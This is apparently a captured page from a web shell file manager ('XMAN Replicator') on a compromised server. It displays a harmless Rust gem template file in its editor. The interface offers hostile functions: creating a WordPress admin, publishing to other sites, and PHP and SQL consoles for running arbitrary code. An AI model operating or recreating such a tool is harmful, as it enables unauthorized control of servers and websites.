🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
alt
/
ruby40
/
share
/
gems
/
gems
/
bundler-4.0.10
/
lib
/
bundler
/
templates
/
newgem
/
ext
/
newgem
/
src
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-06-09 05:02
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-06-09 05:02
🔄
🗑️
🗑️📁
⬇️
🔒
lib.rs.tt
591 B
-rw-r--r--
2026-05-21 12:15
✏️
🔄
🗑️
⬇️
🔒
Edit: lib.rs.tt
use magnus::{function, prelude::*, Error, Ruby}; pub fn hello(subject: String) -> String { format!("Hello {subject}, from Rust!") } #[magnus::init] fn init(ruby: &Ruby) -> Result<(), Error> { let module = ruby.<%= config[:constant_array].map {|c| "define_module(#{c.dump})?"}.join(".") %>; module.define_singleton_method("hello", function!(hello, 1))?; Ok(()) } #[cfg(test)] mod tests { use rb_sys_test_helpers::ruby_test; use super::hello; #[ruby_test] fn test_hello() { assert_eq!("Hello world, from Rust!", hello("world".to_string())); } }
Save
PHP Console
Execute
SQL Console
Execute